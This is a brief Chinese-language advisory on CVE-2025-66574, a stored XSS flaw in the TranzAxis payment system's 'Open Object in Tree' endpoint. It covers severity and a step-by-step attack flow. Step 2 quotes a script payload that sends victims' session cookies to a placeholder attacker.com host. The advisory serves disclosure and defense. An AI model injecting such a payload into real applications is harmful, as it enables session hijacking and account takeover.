CVE-2025-66574CVE-2025-66574是发现于TranzAxis支付系统3.2.41.10.26版本中的存储型跨站脚本(XSS)漏洞。该漏洞存在于系统的「Open Object in Tree」端点中,允许已认证的低权限用户在系统功能中注入恶意JavaScript代码。由于漏洞为存储型,恶意脚本会被永久保存在系统中,当其他用户访问相关功能时,攻击payload会自动执行。攻击者可利用此漏洞窃取受害者的会话Cookie、劫持用户会话,进而可能获取更高权限或执行敏感操作。CVSS评分5.4,属于中危漏洞,需要用户交互才能触发,但攻击复杂度低,可通过网络远程利用。
该漏洞为存储型XSS,攻击者通过「Open Object in Tree」端点的参数注入恶意JavaScript代码。攻击流程如下:1) 攻击者以低权限用户身份登录TranzAxis系统;2) 在「Open Object in Tree」功能的输入字段中注入XSS payload,如<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>;3) 由于系统未对用户输入进行充分过滤和转义,恶意脚本被存储在数据库中;4) 当其他用户(如管理员)访问同一功能或触发相关操作时,存储的恶意脚本被执行;5) 受害者浏览器中的Cookie信息被发送到攻击者控制的服务器。攻击者获取Cookie后,可构造Session劫持攻击,冒充合法用户身份进行操作。由于系统未实施严格的Content Security Policy,传统的XSS防护措施可能存在缺陷。